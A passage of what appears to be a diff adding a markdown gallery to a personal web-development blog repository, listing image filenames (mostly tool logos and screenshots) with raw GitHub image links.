+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/express-original-wordmark.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/express-original-wordmark.png?raw=true)
+
+> express.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/express.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/express.png?raw=true)
+
+> ezgif.com-gif-maker.mp4
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/ezgif.com-gif-maker.mp4?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/ezgif.com-gif-maker.mp4?raw=true)
+
+> fairlawn.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/fairlawn.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/fairlawn.png?raw=true)
+
+> favicon.1.ico
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/favicon.1.ico?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/favicon.1.ico?raw=true)
+
+> favicon.ico
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/favicon.ico?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/favicon.ico?raw=true)
+
+> favicon.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/favicon.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/favicon.png?raw=true)
+
+> festive-zebra.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/festive-zebra.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/festive-zebra.png?raw=true)
+
+> fft.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/fft.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/fft.jpg?raw=true)
+
+> file-system.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/file-system.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/file-system.jpg?raw=true)
+
+> fillmurray.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/fillmurray.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/fillmurray.jpg?raw=true)
+
+> firebase.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/firebase.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/firebase.png?raw=true)
+
+> firebase3.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/firebase3.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/firebase3.jpg?raw=true)
+
+> flow-control-py.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/flow-control-py.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/flow-control-py.jpg?raw=true)
+
+> gatsby-cli.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/gatsby-cli.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/gatsby-cli.png?raw=true)
+
+> gatsby-graphiql-explorer.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/gatsby-graphiql-explorer.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/gatsby-graphiql-explorer.png?raw=true)
+
+> gatsby-paginate.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/gatsby-paginate.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/gatsby-paginate.png?raw=true)
+
+> gatsby-sourcery.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/gatsby-sourcery.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/gatsby-sourcery.png?raw=true)
+
+> gatsby.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/gatsby.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/gatsby.png?raw=true)
+
+> gh-pages.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/gh-pages.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/gh-pages.png?raw=true)
+
+> gif-4mb.gif
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/gif-4mb.gif?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/gif-4mb.gif?raw=true)
+
+> git-banner.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/git-banner.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/git-banner.png?raw=true)
+
+> git-html-preview.gif
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/git-html-preview.gif?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/git-html-preview.gif?raw=true)
+
+> git-merge.jpeg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/git-merge.jpeg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/git-merge.jpeg?raw=true)
+
+> git-preview.gif
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/git-preview.gif?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/git-preview.gif?raw=true)
+
+> git.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/git.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/git.png?raw=true)
+
+> globals.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/globals.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/globals.png?raw=true)
+
+> goals.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/goals.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/goals.jpg?raw=true)
+
+> google-adds.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/google-adds.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/google-adds.jpg?raw=true)
+
+> google-analytics.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/google-analytics.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/google-analytics.jpg?raw=true)
+
+> google-api.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/google-api.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/google-api.png?raw=true)
+
+> google-cloud%20(2).png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/google-cloud%20(2).png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/google-cloud%20(2).png?raw=true)
+
+> google-cloud.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/google-cloud.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/google-cloud.png?raw=true)
+
+> google-drive.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/google-drive.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/google-drive.jpg?raw=true)
+
+> googleTagManager.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/googleTagManager.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/googleTagManager.png?raw=true)
+
+> googlemaps.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/googlemaps.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/googlemaps.png?raw=true)
+
+> gradients_3.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/gradients_3.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/gradients_3.png?raw=true)
+
+> granular-dom-updates.gif
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/granular-dom-updates.gif?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/granular-dom-updates.gif?raw=true)
+
+> graphql-logo.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/graphql-logo.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/graphql-logo.png?raw=true)
+
+> graphql.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/graphql.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/graphql.png?raw=true)
+
+> gulp.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/gulp.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/gulp.png?raw=true)
+
+> heroku.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/heroku.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/heroku.png?raw=true)
+
+> home-button.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/home-button.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/home-button.png?raw=true)
+
+> home2022-01-20-23_58_59.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/home2022-01-20-23_58_59.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/home2022-01-20-23_58_59.png?raw=true)
+
+> home2022-01-20-23_58_60.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/home2022-01-20-23_58_60.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/home2022-01-20-23_58_60.png?raw=true)
+
+> html.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/html.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/html.png?raw=true)
+
+> html2.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/html2.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/html2.png?raw=true)
+
+> html5.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/html5.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/html5.png?raw=true)
+
+> iconifier-readme.txt
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/iconifier-readme.txt?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/iconifier-readme.txt?raw=true)
+
+> iframes.gif
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/iframes.gif?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/iframes.gif?raw=true)
+
+> image-of-resume.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/image-of-resume.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/image-of-resume.png?raw=true)
+
+> implementation-notes-tree.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/implementation-notes-tree.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/implementation-notes-tree.png?raw=true)
+
+> iter.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/iter.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/iter.jpg?raw=true)
+
+> jam.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/jam.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/jam.png?raw=true)
+
+> jamstack.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/jamstack.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/jamstack.png?raw=true)
+
+> java.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/java.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/java.png?raw=true)
+
+> javascript-jabber.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/javascript-jabber.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/javascript-jabber.png?raw=true)
+
+> javascript.gif
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/javascript.gif?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/javascript.gif?raw=true)
+
+> javascript.jpeg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/javascript.jpeg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/javascript.jpeg?raw=true)
+
+> jenkins.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/jenkins.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/jenkins.png?raw=true)
+
+> jest.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/jest.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/jest.png?raw=true)
+
+> jira.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/jira.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/jira.jpg?raw=true)
+
+> jquery-logo-no-title.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/jquery-logo-no-title.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/jquery-logo-no-title.jpg?raw=true)
+
+> jquery.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/jquery.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/jquery.jpg?raw=true)
+
+> jquery.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/jquery.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/jquery.png?raw=true)
+
+> jquery2.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/jquery2.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/jquery2.png?raw=true)
+
+> js-code-spiral-num.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/js-code-spiral-num.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/js-code-spiral-num.png?raw=true)
+
+> js-questions-n-answers.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/js-questions-n-answers.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/js-questions-n-answers.png?raw=true)
+
+> keep-calm.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/keep-calm.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/keep-calm.png?raw=true)
+
+> keyboard-focus.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/keyboard-focus.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/keyboard-focus.png?raw=true)
+
+> kind-whale.gif
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/kind-whale.gif?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/kind-whale.gif?raw=true)
+
+> kub.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/kub.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/kub.png?raw=true)
+
+> lambda-demo.gif
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/lambda-demo.gif?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/lambda-demo.gif?raw=true)
+
+> lambda.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/lambda.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/lambda.png?raw=true)
+
+> linux-original.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/linux-original.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/linux-original.png?raw=true)
+
+> linux.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/linux.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/linux.png?raw=true)
+
+> logo-animated-1-.gif
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/logo-animated-1-.gif?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/logo-animated-1-.gif?raw=true)
+
+> logo-circle.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/logo-circle.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/logo-circle.png?raw=true)
+
+> logo-final-touchup.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/logo-final-touchup.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/logo-final-touchup.png?raw=true)
+
+> logo.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/logo.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/logo.png?raw=true)
+
+> macos.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/macos.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/macos.png?raw=true)
+
+> madewith.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/madewith.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/madewith.png?raw=true)
+
+> main-blog.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/main-blog.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/main-blog.png?raw=true)
+
+> map.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/map.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/map.jpg?raw=true)
+
+> markdown.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/markdown.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/markdown.png?raw=true)
+
+> maroon-onion.gif
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/maroon-onion.gif?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/maroon-onion.gif?raw=true)
+
+> may-15-snap.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/may-15-snap.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/may-15-snap.png?raw=true)
+
+> md.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/md.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/md.png?raw=true)
+
+> media-querry.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/media-querry.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/media-querry.png?raw=true)
+
+> medium-logo.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/medium-logo.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/medium-logo.png?raw=true)
+
+> medium.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/medium.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/medium.png?raw=true)
+
+> mihir-about.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/mihir-about.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/mihir-about.png?raw=true)
+
+> mihir.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/mihir.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/mihir.jpg?raw=true)
+
+> mihir.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/mihir.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/mihir.png?raw=true)
+
+> mini-logo.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/mini-logo.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/mini-logo.png?raw=true)
+
+> mocha.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/mocha.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/mocha.png?raw=true)
+
+> my-back.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/my-back.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/my-back.png?raw=true)
+
+> nasa_earth_grid.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/nasa_earth_grid.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/nasa_earth_grid.jpg?raw=true)
+
+> nasa_new_york_city_grid.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/nasa_new_york_city_grid.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/nasa_new_york_city_grid.jpg?raw=true)
+
+> nasa_space_shuttle_challenger.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/nasa_space_shuttle_challenger.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/nasa_space_shuttle_challenger.jpg?raw=true)
+
+> nasa_the_blue_marble-1-.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/nasa_the_blue_marble-1-.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/nasa_the_blue_marble-1-.jpg?raw=true)
+
+> needle.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/needle.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/needle.jpg?raw=true)
+
+> netlify.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/netlify.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/netlify.png?raw=true)
+
+> netlifycms.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/netlifycms.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/netlifycms.png?raw=true)
+
+> neural.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/neural.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/neural.png?raw=true)
+
+> nextjs.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/nextjs.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/nextjs.png?raw=true)
+
+> nj-devils.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/nj-devils.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/nj-devils.jpg?raw=true)
+
+> njdev.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/njdev.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/njdev.jpg?raw=true)
+
+> node-express.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/node-express.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/node-express.png?raw=true)
+
+> node-logo.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/node-logo.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/node-logo.png?raw=true)
+
+> node-package-manager.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/node-package-manager.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/node-package-manager.png?raw=true)
+
+> node.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/node.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/node.jpg?raw=true)
+
+> node_modules-content.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/node_modules-content.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/node_modules-content.png?raw=true)
+
+> octocat.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/octocat.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/octocat.png?raw=true)
+
+> original-webdevhub-log.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/original-webdevhub-log.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/original-webdevhub-log.png?raw=true)
+
+> outdated-packages.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/outdated-packages.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/outdated-packages.png?raw=true)
+
+> outerclick-with-keyboard.gif
+
